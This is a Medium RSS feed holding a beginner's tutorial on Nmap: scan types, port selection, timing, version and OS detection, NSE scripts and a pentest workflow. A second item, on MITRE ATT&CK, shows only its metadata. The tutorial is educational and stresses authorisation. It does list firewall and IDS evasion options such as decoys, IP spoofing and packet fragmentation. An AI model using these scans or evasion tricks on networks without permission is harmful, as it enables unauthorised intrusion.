<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Manohar T H on Medium]]></title>
        <description><![CDATA[Stories by Manohar T H on Medium]]></description>
        <link>https://medium.com/@manohar017manu?source=rss-a07763673935------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*CvSP5_BKS7Rnb6GT</url>
            <title>Stories by Manohar T H on Medium</title>
            <link>https://medium.com/@manohar017manu?source=rss-a07763673935------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 04:42:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@manohar017manu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nmap for Beginners: Everything You Need to Know]]></title>
            <link>https://medium.com/@manohar017manu/nmap-for-beginners-everything-you-need-to-know-1ad7eb47d726?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ad7eb47d726</guid>
            <category><![CDATA[nmap-scripting-engine]]></category>
            <category><![CDATA[nmap-command]]></category>
            <category><![CDATA[nmap-scanning]]></category>
            <category><![CDATA[nmap-scan]]></category>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 02:52:49 GMT</pubDate>
            <atom:updated>2026-10-07T02:52:49.578Z</atom:updated>
            <content:encoded><![CDATA[<p>If you are starting with network security or penetration testing, Nmap is one of the first tools you will come across.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HmODBvsM2HxZ6DLnaV3KA.png" /></figure><p>At first, Nmap can look like a simple command-line tool that just shows open ports. But in a real penetration test, the important part is not just finding an open port. The real value comes from understanding what is running on that port and deciding what to investigate next.</p><p>This article explains Nmap from the basics and gradually moves toward how a pentester actually uses the information obtained from a scan.</p><h4>What is Nmap?</h4><p>Nmap stands for <strong>Network Mapper</strong>.</p><p>It is a network scanning and enumeration tool used to discover hosts, open ports, running services, service versions, operating systems, and other information about a target.</p><p>Think of a big apartment building. Every flat is a computer, and every flat has many doors. Those doors are ports. Nmap walks through the building, knocks on every door, and writes down which ones are open, which are shut, and who answered. That list is the starting point for everything that comes next.</p><p>For example, suppose you are given an IP address: 192.168.1.10</p><p>You do not initially know what is running on that machine. You could run:</p><pre>nmap 192.168.1.10</pre><p>Nmap may return something like:</p><pre>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>80/tcp   open  http<br>443/tcp  open  https</pre><p>Now you know that the machine has SSH and web services exposed.</p><p>That is useful information, but this is only the beginning.</p><p>A pentester would then ask:</p><blockquote><em>What SSH implementation is running?<br>What web server is running?<br>What versions are they using?<br>Are there additional ports?<br>What can be enumerated from these services?</em></blockquote><p>This is why Nmap is much more than just an “open port finder.”</p><h4>Why does Nmap exist?</h4><p>When you perform a penetration test, you need to understand the target before you can properly test it.</p><p>You may know the target’s IP address, but that alone does not tell you much. Nmap helps answer questions such as:</p><blockquote>Is the host reachable?<br>Which ports are open?<br>Which services are running?<br>What versions of those services are being used?<br>What operating system might be running?<br>What additional information can be obtained from the services?</blockquote><p>For example, finding port 80 open tells you that something is serving HTTP.</p><p>Finding this “ <strong>80/tcp open http Apache httpd 2.4.x “ </strong>gives you much more information.</p><p>Now you know that the target is running an Apache web server, and you can investigate that service further.</p><p><strong>Nmap helps you understand the attack surface of a target.</strong></p><h4>Who Uses Nmap and Why?</h4><p><strong>Penetration testers and ethical hackers</strong> use it to map the target and decide where to look for weaknesses.</p><p><strong>System and network administrators</strong> use it to keep track of devices and make sure only the required services are exposed.</p><p><strong>Security analysts and blue teams</strong> use it to audit their own networks and verify firewall rules.</p><p><strong>Bug bounty hunters and CTF players</strong> use it to find the attack surface of a target quickly.</p><p><strong>Attackers</strong> use it too, which is exactly why defenders must understand it.</p><h4>Where does Nmap fit in a pentest?</h4><p>A typical pentest has these phases:</p><ol><li>Reconnaissance</li><li><strong>Scanning and enumeration</strong> ← Nmap lives here</li><li>exploitation</li><li>Maintaining access</li><li>Covering tracks / reporting</li></ol><p>Nmap belongs to the <strong>scanning and enumeration</strong> phase. Recon gives you a target, Nmap tells you what’s running on it, and the exploitation phase then goes after what Nmap found.</p><h4>Which type of reconnaissance is Nmap?</h4><p>There are two types of reconnaissance.</p><p><strong>Passive reconnaissance</strong> means collecting information without directly touching the target’s systems. Examples are searching WHOIS records, reading public websites, and using search engines. The target cannot tell you are gathering information.</p><p><strong>Active reconnaissance</strong> means directly interacting with the target to get information. You send packets to it and read its replies.</p><p>Nmap is <strong>active reconnaissance</strong>. Because you send packets straight to the target, the target’s firewalls and intrusion detection systems can notice and log your scan. This is also why you must always have written permission before scanning a network you do not own.</p><h3>Core Concepts You Should Know Before Using Nmap</h3><p>You do not need deep networking knowledge, but a few ideas make Nmap output much easier to understand.</p><h4>IP address</h4><p>An IP address is the unique address of a device on a network, for example 192.168.1.10. It tells Nmap where to send its packets.</p><h4>Port</h4><p>A port is a numbered logical door on a machine, from 0 to 65535. Different services listen on different ports. Some well-known examples are port 21 for FTP, 22 for SSH, 25 for SMTP, 53 for DNS, 80 for HTTP, 443 for HTTPS, 445 for SMB, and 3389 for Remote Desktop.</p><h4>TCP and UDP</h4><p>These are the two main protocols that ports use. <strong>TCP</strong> is connection-based and reliable, so it first sets up a connection and then sends data. <strong>UDP</strong> is connectionless and faster with no handshake or connection .</p><h4>The TCP three-way handshake</h4><p>Before two machines talk over TCP, they perform a short three-step greeting. The client sends a <strong>SYN</strong> (“Can we talk?”). The server replies with <strong>SYN/ACK</strong> (“Yes, let’s talk”). The client sends an <strong>ACK</strong> (“Great, connected”). Many Nmap scans work by playing with this handshake, so it is worth remembering.</p><h4>Port states</h4><p>Nmap reports each port as one of these states:</p><ul><li><strong>open</strong>: A service is actively accepting connections on this port.</li><li><strong>closed</strong>: The port is reachable, but no service is listening on it.</li><li><strong>filtered</strong>: Nmap cannot tell whether the port is open or closed because something, usually a firewall is blocking or dropping the packets.</li><li><strong>unfiltered</strong>: The port is reachable but Nmap cannot decide if it is open or closed. This mainly appears in ACK scans.</li><li><strong>open|filtered</strong> and <strong>closed|filtered</strong>: Nmap cannot decide between the two states.</li></ul><h4>Service, version, and banner</h4><p>A <strong>service</strong> is the program listening on a port like Apache or OpenSSH. The <strong>version</strong> is the release number of that program. A <strong>banner</strong> is a short message that a service sometimes sends when you connect which often reveals its name and version.</p><h4>Firewall and IDS/IPS</h4><p>A <strong>firewall</strong> filters network traffic using rules. An <strong>IDS (Intrusion Detection System)</strong> watches for suspicious activity and raises alerts. An <strong>IPS (Intrusion Prevention System)</strong> can also block it. Aggressive scans can trigger these systems.</p><h3>Installing Nmap</h3><p>On Kali Linux, Nmap is already installed. On other systems:</p><p>For Debian or Ubuntu:</p><pre>sudo apt update<br>sudo apt install nmap</pre><p>For macOS with Homebrew:</p><pre>brew install nmap</pre><p>For Windows, download the installer from the official site, nmap.org, which also includes the graphical version called Zenmap.</p><p>To check the installation:</p><pre>nmap --version</pre><p>Here --version simply prints the installed Nmap version and the features it was built with.</p><h3>Basic Syntax and How to Read the Output</h3><p>The general format of an Nmap command is:</p><pre>nmap [scan type] [options] [target]</pre><p>The simplest scan is: <strong>nmap 192.168.1.10</strong></p><p>This scans the 1000 most commonly used ports on the target. A typical result looks like this (this is a sample from a lab machine, not a real network):</p><p>This scans the 1000 most commonly used ports on the target. A typical result looks like this :</p><pre>Starting Nmap 7.95 ( https://nmap.org )<br>Nmap scan report for 192.168.1.10<br>Host is up (0.0012s latency).<br>Not shown: 996 closed tcp ports (reset)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>80/tcp   open  http<br>445/tcp  open  microsoft-ds<br>3306/tcp open  mysql<br>Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds</pre><p>Let us read it line by line:</p><ul><li><strong>Host is up</strong> means the machine responded, and the latency shows how fast.</li><li><strong>Not shown: 996 closed tcp ports</strong> means that out of 1000 scanned ports, 996 were closed, so Nmap hides them to keep the output clean.</li><li>The <strong>PORT</strong> column shows the port number and protocol, <strong>STATE</strong> shows its status, and <strong>SERVICE</strong> shows the service Nmap guesses based on the port number.</li></ul><h3>Target Specification: Telling Nmap What to Scan</h3><p>Nmap accepts targets in several formats.</p><pre>nmap 192.168.1.10<br>nmap scanme.nmap.org<br>nmap 192.168.1.1-50<br>nmap 192.168.1.0/24<br>nmap 192.168.1.10 192.168.1.20 192.168.1.30</pre><p>The first scans a single IP. The second scans a hostname, and Nmap resolves it to an IP using DNS. <br>The third scans a range, from 192.168.1.1 to 192.168.1.50. <br>The fourth uses <strong>CIDR notation</strong>: /24 means the first 24 bits of the address stay fixed, so this scans all 256 addresses from 192.168.1.0 to 192.168.1.255.<br>The fifth lists multiple targets separated by spaces.</p><h3>Scanning Multiple Targets</h3><p>In real work you rarely scan only one machine. You are usually given a scope, such as a whole subnet or a list of IPs from the client. Nmap handles this in several ways.</p><h4>Scanning a whole subnet</h4><pre>nmap 10.10.10.0/24</pre><p>This scans every host in that subnet.</p><h4>Scanning from a file</h4><pre>nmap -iL targets.txt</pre><p>Here -iL stands for <strong>input list</strong>. Nmap reads targets from the file targets.txt, one per line (IPs, ranges, or hostnames). This is how pentesters scan the exact scope provided by a client.</p><h4>Excluding hosts</h4><pre>nmap 10.10.10.0/24 --exclude 10.10.10.5,10.10.10.6</pre><p>--exclude tells Nmap to skip the listed hosts. This is important in real engagements, because clients often say, &quot;Scan everything except our payment server,&quot; and scanning something outside the scope can cause legal problems.</p><p>You can also exclude from a file using --excludefile exclude.txt.</p><h4>Randomizing the order</h4><pre>nmap -iL targets.txt --randomize-hosts</pre><p>--randomize-hosts shuffles the target order. This can make the scan look less like a sequential sweep to monitoring systems.</p><h4>Finding live hosts first</h4><pre>nmap -sn 10.10.10.0/24</pre><p>When you have a large range, it is smart to first find which machines are alive and only then scan those in detail. This leads us to host discovery.</p><h3>Host Discovery: Is the Target Alive?</h3><p>Before scanning ports, Nmap first checks whether a host is online. This saves time because there is no point scanning ports on a machine that does not exist.</p><h4>Ping scan</h4><pre>nmap -sn 192.168.1.0/24</pre><p>The -sn option means <strong>scan, no port scan</strong>. Nmap only checks which hosts are up and does not scan any ports.</p><p>On a local network as a privileged user it uses ARP requests which are very reliable. On remote networks by default it sends an ICMP echo request a TCP SYN to port 443, a TCP ACK to port 80, and an ICMP timestamp request.</p><h4>Skipping host discovery</h4><pre>nmap -Pn 192.168.1.10</pre><p>-Pn means <strong>no ping</strong>. Many firewalls block ping so Nmap may wrongly decide the host is down and skip it. With -PnNmap treats every target as alive and scans its ports anyway. This is one of the most commonly used options in real pentesting, especially against hardened targets and Windows machines, which often block ping by default. The downside is that it can be slow on big ranges, because it also scans dead IPs.</p><h4>Other discovery options</h4><ul><li>-PE sends an ICMP echo request (a normal ping).</li><li>-PA80 sends a TCP ACK packet.</li><li>-PU53 sends a UDP packet.</li></ul><h3>Port Scanning Techniques</h3><p>This is the heart of Nmap. Different scan types send different kinds of packets, and each has its own use.</p><h4>TCP SYN scan (the default for privileged users)</h4><pre>sudo nmap -sS 192.168.1.10</pre><p>-sS means <strong>SYN scan</strong>, and it is also called a <strong>half-open</strong> or <strong>stealth</strong> scan. Nmap sends a SYN packet. If the port is open, the target answers with SYN/ACK, and Nmap immediately sends a RST (reset) instead of completing the handshake.</p><p>If the port is closed the target answers with RST. If there is no answer the port is considered filtered. Since the connection is never completed it is faster and was traditionally less likely to be logged by applications. It needs root or administrator rights because it builds raw packets. Modern firewalls and IDS systems still detect it, so &quot;stealth&quot; is a historical name not a guarantee of invisibility.</p><h4>TCP connect scan</h4><pre>nmap -sT 192.168.1.10</pre><p>-sT means <strong>TCP connect scan</strong>. Nmap asks the operating system to make a complete connection with the three-way handshake. It is the default when you do not have root privileges. It is slower and noisier because the target&#39;s service may log the full connection but it works without special permissions.</p><h4>UDP scan</h4><pre>sudo nmap -sU 192.168.1.10</pre><p>-sU means <strong>UDP scan</strong>. UDP has no handshake so scanning is slower and trickier. If a port is closed the target usually replies with an ICMP &quot;port unreachable&quot; message. If there is no reply Nmap cannot be sure so it marks the port <strong>open|filtered</strong>.</p><p>UDP scans are slow so people usually scan only the important UDP ports, such as 53 (DNS), 161 (SNMP), and 123 (NTP). Many real vulnerabilities, like weak SNMP community strings hide in UDP.</p><p>You can scan TCP and UDP together:</p><pre>sudo nmap -sS -sU -p T:80,443,U:53,161 192.168.1.10</pre><p>Here T: and U: define which ports to scan for TCP and UDP.</p><h4>Other scan types</h4><ul><li>-sA is the <strong>ACK scan</strong>. It does not find open ports. It is used to map firewall rules and see which ports are filtered or unfiltered.</li><li>-sF is the <strong>FIN scan</strong>, -sN is the <strong>Null scan</strong> (no flags), and -sX is the <strong>Xmas scan</strong> (FIN, PSH, and URG flags set). These send unusual packets that some systems respond to differently, and they were used to bypass simple firewalls. Modern systems, especially Windows, often do not respond as expected, so results can be unreliable.</li></ul><h4>Choosing which ports to scan</h4><pre>nmap -p 80 192.168.1.10<br>nmap -p 22,80,443 192.168.1.10<br>nmap -p 1-1000 192.168.1.10<br>nmap -p- 192.168.1.10</pre><p>-p selects the ports. The first scans one port, the second scans specific ports, the third scans a range, and the fourth, -p-, scans <strong>all 65535 ports</strong>. This last one is extremely important. By default, Nmap only checks the top 1000 ports, and many real services, like a web admin panel on port 8443 or a database on port 33060, are on unusual ports that the default scan misses.</p><h3>Fast Scanning and Top Ports</h3><p>Scanning all 65535 ports takes time, so Nmap gives you quick options for when you need results fast.</p><h4>Fast scan</h4><pre>nmap -F 192.168.1.10</pre><p>-F means <strong>fast mode</strong>. It scans only the top 100 most common ports instead of the default 1000.</p><h4>Top ports</h4><pre>nmap --top-ports 20 192.168.1.10<br>nmap --top-ports 500 192.168.1.10</pre><p>--top-ports N scans the N most commonly used ports, according to Nmap&#39;s own frequency list built from real internet scans. This is handy when you want a quick, flexible check. For example, --top-ports 20 is great for a very quick look across a big network.</p><h4>Open ports only</h4><pre>nmap --open 192.168.1.10</pre><p>--open shows only ports that are open, which keeps the output clean on large scans.</p><h4>When to use which</h4><p>During a real test, a common habit is to start with a quick scan to get instant results, then run a full -p- scan in the background for completeness. The quick scan helps you start working while the slow, thorough scan finishes.</p><h3>Controlling Nmap Scan Speed</h3><p>Speed is a trade-off. Scan too slowly, and you waste hours. Scan too fast, and you can miss open ports because of dropped packets, overload a fragile network or device, or set off alarms. Nmap gives you several ways to control it.</p><h4>Timing templates</h4><pre>nmap -T4 192.168.1.10</pre><p>-T stands for <strong>timing template</strong>, and it takes a value from 0 to 5:</p><ul><li><strong>-T0 (paranoid)</strong> is extremely slow and used to avoid detection by IDS.</li><li><strong>-T1 (sneaky)</strong> is also very slow and stealthy.</li><li><strong>-T2 (polite)</strong> is slower than normal and uses less bandwidth.</li><li><strong>-T3 (normal)</strong> is the default.</li><li><strong>-T4 (aggressive)</strong> is faster and is commonly used on good, reliable networks.</li><li><strong>-T5 (insane)</strong> is the fastest, but it can miss results and overwhelm the network, so it is rarely suitable for real engagements.</li></ul><h4>Fine-grained control</h4><pre>nmap --min-rate 1000 192.168.1.10<br>nmap --max-rate 500 192.168.1.10<br>nmap --max-retries 1 192.168.1.10<br>nmap --host-timeout 5m 192.168.1.10<br>nmap --scan-delay 1s 192.168.1.10</pre><ul><li>--min-rate 1000 makes Nmap send at least 1000 packets per second. It is very useful for fast full-port scans in labs.</li><li>--max-rate 500 does the opposite. It caps the speed at 500 packets per second, to protect fragile systems or stay under detection thresholds.</li><li>--max-retries 1 limits how many times Nmap resends a probe that gets no answer. Fewer retries means faster scans, but with a higher chance of missing something on unreliable networks.</li><li>--host-timeout 5m gives up on a host that takes longer than five minutes. This stops one slow target from stalling a whole scan.</li><li>--scan-delay 1s adds a pause between probes, which is useful against systems that rate-limit or detect fast scans.</li></ul><h3>Service and Version Detection</h3><p>Knowing a port is open is useful, but knowing exactly what is running behind it is far more useful. This is what version detection does.</p><pre>nmap -sV 192.168.1.10</pre><p>-sV stands for <strong>service version detection</strong>. Nmap connects to each open port, sends probes, and compares the replies against a large database of known service signatures. Sample output:</p><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10<br>80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))<br>3306/tcp open  mysql   MySQL 5.7.33</pre><p>Why does this matter? Because vulnerabilities belong to specific versions. If you know the web server is Apache 2.4.18, you can search for known issues in that exact version. Without -sV, you would only know &quot;something is on port 80.&quot;</p><p>Related options:</p><ul><li>--version-intensity 0-9 sets how hard Nmap tries to identify the service. Higher values try more probes and are more accurate but slower. The default is 7.</li><li>--version-light is a shortcut for intensity 2, which is faster.</li><li>--version-all is a shortcut for intensity 9, which is the most thorough.</li></ul><h3>OS Detection</h3><pre>sudo nmap -O 192.168.1.10</pre><p>-O means <strong>operating system detection</strong>. Nmap sends a set of specially crafted packets and studies subtle differences in how the target replies, such as TCP window sizes, TTL values, and option ordering. It then matches this fingerprint to a database. The output might look like:</p><pre>Running: Linux 4.X|5.X<br>OS details: Linux 4.15 - 5.8</pre><p>It needs root privileges and works best when Nmap has found at least one open and one closed port. The result is a guess, not a guarantee, and it can be wrong if the system is behind a firewall or uses an uncommon setup.</p><p>Extra options:</p><ul><li>--osscan-guess makes Nmap offer its best guess even when the match is weak.</li><li>--osscan-limit tells Nmap to skip OS detection on hosts that do not have both an open and a closed port, which saves time.</li></ul><h3>Aggressive Scanning</h3><pre>sudo nmap -A 192.168.1.10</pre><p>-A stands for <strong>aggressive scan</strong>, and it is a shortcut that turns on several features together:</p><ul><li>-sV for service and version detection</li><li>-O for OS detection</li><li>-sC for default scripts from the Nmap Scripting Engine</li><li>--traceroute to show the path of network hops to the target</li></ul><p>So one command gives you a lot of useful information. It is popular among beginners and in CTFs because it is quick to type and gives a rich result.</p><h4>The important caution</h4><p>Aggressive does not mean “better.” It means “loud.” The scan sends many more probes, takes longer, and is very easy for an IDS or a security team to notice. In a real engagement, especially a red team test where being unnoticed is part of the goal, running -A against the whole network is a poor idea. A professional usually runs a simple discovery first, and then uses -A or its parts only against specific hosts and ports that have already been confirmed as interesting.</p><p>A good habit is to combine -A with a targeted port list:</p><pre>sudo nmap -A -p 22,80,445 192.168.1.10</pre><p>This gives the deep details only for the ports you care about, which is quicker and quieter.</p><h3>The Nmap Scripting Engine (NSE)</h3><p>The <strong>Nmap Scripting Engine</strong> is what turns Nmap from a port scanner into a much more powerful tool. NSE lets Nmap run small scripts written in a language called Lua to automate tasks such as checking for vulnerabilities, grabbing more service details, or testing for weak logins.</p><h4>Running default scripts</h4><pre>nmap -sC 192.168.1.10</pre><p>-sC runs the <strong>default</strong> set of scripts, which are considered safe and useful. It is the same as --script=default.</p><h4>Running specific scripts or categories</h4><pre>nmap --script vuln 192.168.1.10<br>nmap --script http-title 192.168.1.10<br>nmap --script &quot;http-*&quot; -p 80 192.168.1.10<br>nmap --script smb-os-discovery -p 445 192.168.1.10</pre><p>--script tells Nmap which script group of scripts or pattern to run. <br>The first runs all scripts in the <strong>vuln</strong> category which check for known vulnerabilities. <br>The second runs a script that reads the title of a web page. <br>The third runs every script whose name starts with http-. <br>The fourth pulls OS and domain information from an SMB service.</p><h4>Script categories</h4><p>Scripts are grouped into categories such as <strong>default</strong>, <strong>safe</strong>, <strong>discovery</strong>, <strong>auth</strong>, <strong>brute</strong>, <strong>vuln</strong>, <strong>exploit</strong>, <strong>intrusive</strong>, and <strong>malware</strong>. Some are harmless information gatherers, while others like <strong>brute</strong> and <strong>intrusive</strong> can lock accounts or crash services, so you should understand a script before running it.</p><h4>Learning what a script does</h4><pre>nmap --script-help http-title</pre><p>--script-help prints a description of the script, which is a good habit before running anything unfamiliar. Scripts also accept arguments with --script-args.</p><h4>Practical examples</h4><pre>nmap --script ftp-anon -p 21 192.168.1.10<br>nmap --script ssh-auth-methods -p 22 192.168.1.10<br>nmap --script smb-enum-shares -p 445 192.168.1.10</pre><p>The first checks whether the FTP server allows anonymous login. <br>The second shows which authentication methods SSH accepts. <br>The third lists SMB shares on the target.</p><p>One honest note: the vuln scripts are helpful, but they are not a replacement for a proper vulnerability scanner or manual testing. They can miss things and sometimes report false positives.</p><h3>Evasion and Stealth Options (Basic Idea)</h3><p>When firewalls or IDS systems get in the way, Nmap offers options that change how packets look. As an intermediate learner you should know they exist and what they do but do not expect miracles, because modern security devices catch many of these tricks.</p><ul><li>-f splits packets into small fragments, to try to slip past simple packet filters. --mtu 24 lets you set the fragment size manually.</li><li>-D RND:5 uses <strong>decoys</strong>. Nmap makes it look like the scan also comes from five random IP addresses, hiding your real one among them.</li><li>-S lets you spoof the source IP address, though you will not receive replies unless you can see that traffic.</li><li>-g 53 or --source-port 53 sets the source port, since some poorly configured firewalls trust traffic coming from port 53 (DNS).</li><li>--data-length 25 adds random data to packets to change their size.</li><li>--spoof-mac changes the MAC address on a local network.</li></ul><p>Always remember, using these on a network without permission is still unauthorized scanning.</p><h3>Saving Your Output</h3><p>In real work you must save your scan results, because they go into your notes and your final report, and you will want to compare scans later.</p><pre>nmap -sV -oN scan.txt 192.168.1.10<br>nmap -sV -oX scan.xml 192.168.1.10<br>nmap -sV -oG scan.gnmap 192.168.1.10<br>nmap -sV -oA full_scan 192.168.1.10</pre><ul><li>-oN saves <strong>normal</strong> output, in the same readable format you see on screen.</li><li>-oX saves <strong>XML</strong> output, which other tools can import.</li><li>-oG saves <strong>grepable</strong> output, which is easy to search with commands like grep. It is an older format, but still handy.</li><li>-oA saves <strong>all three formats</strong> at once, with the same base name. This is the one most professionals use.</li></ul><h3>The Important Difference Between a Port and a Vulnerability</h3><p>An <strong>open port</strong> is simply a door that is open. A <strong>vulnerability</strong> is a weakness, a flaw in the software, its configuration or its logic, that an attacker can abuse.</p><p>Having an open port does not mean the system is vulnerable. Port 443 being open on a well-maintained, fully patched web server is completely normal because that is how the website works.</p><p>Consider these examples:</p><ul><li>Port 22 is open, running a recent, patched version of OpenSSH with key-based login only. This is an open port, but not a vulnerability.</li><li>Port 22 is open, running an old OpenSSH version with a known flaw or allowing password login with a weak password. Now there is a real security issue, and the weakness is in the version or configuration, not in the port itself.</li><li>Port 21 (FTP) is open and allows anonymous login with write access. That is a vulnerability caused by misconfiguration.</li><li>Port 3306 (MySQL) is open to the whole internet. The port alone is a risk because databases should not be public, but the actual vulnerability depends on the password strength and version.</li></ul><p>So when you read Nmap output, the right question is not “Which ports are open?” but “What is running on these open ports, which version, how is it configured, and does that create a weakness?” Nmap helps you find the open ports and the versions. Finding and confirming real vulnerabilities requires further work, like researching the version, using vulnerability scanners, and testing manually.</p><p>In your report, never write “port 80 is open” as a finding on its own. Write what matters, such as “The web server on port 80 runs Apache 2.4.18, which is outdated and affected by publicly known vulnerabilities.”</p><h3>A Practical Nmap Workflow (How a Pentester Actually Works)</h3><p>Let us walk through a simple realistic example</p><p>Imagine you are practicing in your own lab, and you have a target machine with the IP address <strong>192.168.1.10</strong>. You own this machine, so scanning it is completely legal.</p><h4>Step 1: Is the machine alive?</h4><p>The first question is whether the target is online.</p><pre>nmap -sn 192.168.1.10</pre><p>-sn means &quot;scan, no port scan.&quot; Nmap only checks whether the machine responds. If it says &quot;Host is up,&quot; you can move on.</p><p>If it says the host seems down but you know it is on, the machine may be blocking ping. In that case add -Pn to the commands in the next steps. -Pn means &quot;do not ping, just assume it is alive.&quot;</p><h4>Step 2: Which doors are open?</h4><p>Now do a normal scan to see the open ports.</p><pre>nmap 192.168.1.10</pre><p>You get a result like this:</p><pre>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>This machine has two open doors. Port 22 is for remote login (SSH), and port 80 is a website. Already you have a picture of the machine.</p><h4>Step 3: Check all the ports, not just the common ones</h4><p>By default, Nmap checks only the top 1000 ports. A service hiding on an unusual port would be missed, so do a full scan.</p><pre>nmap -p- 192.168.1.10</pre><p>-p- means &quot;scan all 65535 ports.&quot; It takes longer, but it is the thorough way. Say it finds one extra port, 8080. You have just discovered something the first scan missed.</p><h4>Step 4: What exactly is running on those ports?</h4><p>Now you know the open ports, so ask Nmap what software is behind them.</p><pre>nmap -sV -p 22,80,8080 192.168.1.10</pre><p>-sV means &quot;detect the service version,&quot; and -p 22,80,8080 limits the scan to the ports you already found open. The result might look like this:</p><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.2p2<br>80/tcp   open  http    Apache httpd 2.4.18<br>8080/tcp open  http    Jetty 9.4</pre><p>This is the most important result so far. You now know the software and its version, and versions are what you search for known weaknesses.</p><h4>Step 5: Let Nmap’s default scripts take a closer look</h4><pre>nmap -sC -sV -p 22,80,8080 192.168.1.10</pre><p>-sC runs Nmap&#39;s default scripts, which collect extra useful information, such as the title of a web page or the login methods SSH allows. Most people use -sC and -sV together.</p><h4>Step 6: Save the results</h4><pre>nmap -sC -sV -p 22,80,8080 192.168.1.10 -oN result.txt</pre><p>-oN saves the output into a text file called result.txt. Always do this, because you will need it later for your notes and your report.</p><h4>The whole workflow in one view</h4><p>If you want to remember it easily, the flow is just this:</p><ol><li>nmap -sn 192.168.1.10 checks whether the machine is alive.</li><li>nmap 192.168.1.10 finds the common open ports.</li><li>nmap -p- 192.168.1.10 finds all open ports.</li><li>nmap -sV -p 22,80,8080 192.168.1.10 identifies the software and versions.</li><li>nmap -sC -sV -p 22,80,8080 192.168.1.10 -oN result.txt runs the default scripts and saves everything.</li></ol><h4>What the pentester does next</h4><p>Now the scanning is finished, and the thinking starts. Looking at the results, the pentester asks a few simple questions:</p><ul><li>Is the software old? Apache 2.4.18 and OpenSSH 7.2 are quite old, so they are worth looking into.</li><li>Are there known problems for these versions? A quick search for “Apache 2.4.18 vulnerability” shows what is publicly known.</li><li>What is on the website? Open http://192.168.1.10 in a browser and look around, since web applications are often where the real weaknesses are.</li><li>Are there any unexpected services? An unusual port like 8080 is worth a closer look.</li></ul><p>This is the real job. Nmap gives you the map, and you decide where to explore next.</p><h3>What to Do After Getting the Output</h3><p>Scanning is only the beginning. The value comes from what you do with the results. Here is how a pentester usually thinks.</p><h4>1. Sort and prioritize</h4><p>Go through the results host by host. Look for services that are interesting, dangerous or unexpected like remote access (SSH, RDP, Telnet), file sharing (SMB, FTP, NFS), databases (MySQL, MSSQL, PostgreSQL), web applications and any old or unusual service. Outdated versions rise to the top of your list.</p><h4>2. Research the versions</h4><p>For every service version found, search for known vulnerabilities. You can look up the version in public vulnerability databases, check CVE records, and use offline tools like searchsploit on Kali Linux:</p><pre>searchsploit apache 2.4.18</pre><p>Here searchsploit searches a local copy of the Exploit-DB database for known public exploits matching that software and version.</p><h4>3. Enumerate each service deeper</h4><p>Nmap shows the door; now you open and look inside using more specialized tools:</p><ul><li><strong>Web services (80, 443, 8080)</strong>: Browse the site manually, then use tools like Gobuster or Dirb to discover hidden directories, Nikto to check for common web issues, and WhatWeb to identify technologies.</li><li><strong>SMB (445)</strong>: Use tools like smbclient, enum4linux, or smbmap to list shares, users, and permissions.</li><li><strong>FTP (21)</strong>: Check whether anonymous login is allowed and look at what files are exposed.</li><li><strong>SSH (22)</strong>: Check the version and authentication method. If password login is allowed and you are authorized, you may later test for weak credentials.</li><li><strong>Databases (3306, 1433, 5432)</strong>: Check whether they are exposed externally and whether default or weak credentials work.</li><li><strong>SNMP (161/UDP)</strong>: Test common community strings, which can reveal a surprising amount of system information.</li></ul><h4>4. Validate, do not assume</h4><p>A script saying “VULNERABLE” does not make it true. Always confirm findings manually before you report them. False positives waste the client’s time and damage your credibility.</p><h4>5. Move to the next phase carefully</h4><p>If the engagement scope allows exploitation, the findings you confirmed lead into gaining access using tools such as Metasploit or manual exploits. If the scope is only vulnerability assessment, you stop at confirmed findings and document them.</p><h4>6. Report clearly</h4><p>For each finding, a good report explains what was found, where it was found, why it matters, how serious it is, the evidence (your saved Nmap output), and how to fix it. For example, “SMB service on 10.10.10.20 allows anonymous access to a shared folder containing internal files. Recommendation: disable anonymous access and apply least-privilege permissions.”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ad7eb47d726" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MITRE ATT&CK in Action, Part 2: From Raw Alert to ATT&CK Technique]]></title>
            <link>https://medium.com/@manohar017manu/mitre-att-ck-in-action-part-2-from-raw-alert-to-att-ck-technique-15405b397eb4?source=rss-a07763673935------2</link>
            <guid isPermaLink="false">https://medium.com/p/15405b397eb4</guid>
            <category><![CDATA[mitre-attack-mapping]]></category>
            <category><![CDATA[mitre-attack-framework]]></category>
            <category><![CDATA[mitre-attack-in-soc]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[mitre-attack-example]]></category>
            <dc:creator><![CDATA[Manohar T H]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 18:09:54 GMT</pubDate>
            <atom:updated>2026-09-28T18:09:54.521Z</atom:updated>
